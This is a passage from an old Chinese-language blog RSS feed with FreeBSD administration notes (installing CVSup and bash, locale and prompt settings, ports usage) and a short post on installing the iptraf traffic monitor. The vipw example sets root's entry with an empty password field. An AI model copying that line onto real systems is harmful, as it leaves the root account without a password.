# vi /etc/group</p>
<p>// 安裝CVSup及bash<br />
１、# Sysinstall<br />
２、選擇 Configure Do Post-install Configuration of FreeBSD 後設定<br />
３、選擇 Packages Install pre-packaged software for FreeBSD<br />
４、選擇 FTP Install from an FTP server<br />
５、選擇 URL Specify some other ftp site by URL 自訂ftp站台位置。<br />
６、輸入自訂ftp站台位置。URL: <a href="ftp://freebsd.csie.nctu.edu.tw/pub/CVSup/">ftp://freebsd.csie.nctu.edu.tw/pub/CVSup/</a><br />
７、找到 net Networking utilities.<br />
８、將 cvsup-without-gui-16.1h_2 打勾，後按 [ OK ] 跳往上一層<br />
９、選shells項目進入子選單<br />
１０、將 bash-2.05b.007_2 打勾，後按 [ OK ] 跳往上一層<br />
１１、選sysutils項目進入子選單<br />
１２、將 portupgrade 打勾，後按 [ OK ] 跳往上一層<br />
１３、確認之後按下[ Install ]，就可以開始安裝了</p>
<p>// 設定預設的shell為bash<br />
# vipw<br />
改成 root::0:0::0:0:Charlie &#038;:/root:/usr/local/bin/bash</p>
<p>// 解決ssh到FreeBSD的中文亂碼<br />
使用 CSH 方式如下：在 /etc/csh.cshrc 加入下面三行後重開機即可 show 中文<br />
編碼。<br />
vi etc/csh.cshrc<br />
setenv LC_CTYPE en_US.ISO8859-1<br />
setenv LC_ALL zh_TW.Big5<br />
setenv LANG zh_TW.Big5<br />
// 使用 BASH 方式如下：在 /etc/profile 中加入下面三行後重開機就可 show 中文<br />
編碼。<br />
#vi etc/profile<br />
LC_CTYPE=en_US.ISO8859-1 ; export LC_CTYPE<br />
LC_ALL=zh_TW.Big5 ; export LC_ALL<br />
LANG=zh_TW.Big5 ; export LANG</p>
<p>// 設定提示符號的格式<br />
# echo 'PS1="[u@h w]\$ "' >> /etc/profile</p>
<p>// 設定文字模式下變成目錄以及檔案變成彩色的<br />
１、進入 ports的gnuls目錄底下<br />
cd /usr/ports/misc/gnuls/<br />
make install clean<br />
２、安裝完後如果shell 是 bash 則設定<br />
vi /etc/profile<br />
alias ls="gnuls --color=auto --show-control-chars"<br />
３、安裝完後如果shell 是 csh 則設定<br />
vi /etc/csh.cshrc<br />
alias ls 'gnuls --color=auto --show-control-chars'<br />
更新 port tree</p>
<p># cp /usr/share/examples/cvsup/ports-supfile /root/<br />
# vi /root/ports-supfile<br />
*default host=cvsup.tw.freebsd.org<br />
# cvsup -g -L 2 /root/ports-supfile</p>
<p>// 使用 ports</p>
<p>你可以用 cd /usr/ports/ ; make search key="gettext" | more 查詢<br />
當你安裝完後，想要移除該軟體時，只要在該軟體的 ports 目錄中打 make deinstall<br />
即可。請注意，不要在 /usr/ports 的目錄中打 make deinstall，這樣可是會將 "所有"<br />
軟體都移除喔。<br />
還有一些較不常用的 make 方式，簡述如下：</p>
<p>make fetch：抓回所需的原始檔。<br />
make fetch-list：顯示安裝所需的檔案。<br />
make checksum：抓回原始檔並以 MD5 檢查其正確性。<br />
make extract：抓回並解開原始檔。<br />
make configure：進行組態，但不繼續編譯。<br />
make all install：抓回原始檔、編譯且安裝。<br />
make reinstall：若先前發生意外中斷，以此命令繼續嘗試安裝。<br />
make package：將做好的 ports 打包製作成 packages。<br />
make config: 跳出選擇擇套作清單</p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2006/11/20/freebsd/29.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Iptraf - 文字介面下監控網路卡進出入流量</title>
		<link>http://smallken.no-ip.org/blog/2006/11/19/freebsd/27.html</link>
		<comments>http://smallken.no-ip.org/blog/2006/11/19/freebsd/27.html#comments</comments>
		<pubDate>Sun, 19 Nov 2006 06:11:01 +0000</pubDate>
		<dc:creator>smallken</dc:creator>
				<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://140.123.23.69/blog/?p=27</guid>
		<description><![CDATA[其實就是我的ADSL上傳才256kbps，所以想找個工具來看看網站進出入的流量，讓我找到這個工具，官方網站http://iptraf.seul.org/，因為還沒編繹的版本，我編譯不成功，所以直接下載已經編譯好的 ipt... ]]></description>
			<content:encoded><![CDATA[<p>其實就是我的ADSL上傳才256kbps，所以想找個工具來看看網站進出入的流量，讓我找到這個工具，官方網站<a href="http://iptraf.seul.org/">http://iptraf.seul.org/</a>，因為還沒編繹的版本，我編譯不成功，所以直接下載已經編譯好的 iptraf-x.x.0.bin.i386.tar.gz</p>
<table border="1" bgColor="#000000" width="400">
<tr>
<td><font color="#ffffff"># tar zxvf iptraf-x.x.0.bin.i386.tar.gz</font></td>
</tr>
<tr>
<td><font color="#ffffff"># cd iptraf-x.x.0.bin.i386</font></td>
</tr>
<tr>
<td><font color="#ffffff"># ./Setup</font></td>
</tr>
</table>
<p>安裝完成它說執行檔放在 /usr/local/bin/iptraf，使用方法可以直接執行<br />
# iptraf<br />
或者<br />
# iptraf -s eth0</p>
<p><img src="http://smallken.no-ip.org/blog/uploads/wp-content/uploads/2006/11/20.JPG" /></p>
]]></content:encoded>
			<wfw:commentRss>http://smallken.no-ip.org/blog/2006/11/19/freebsd/27.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
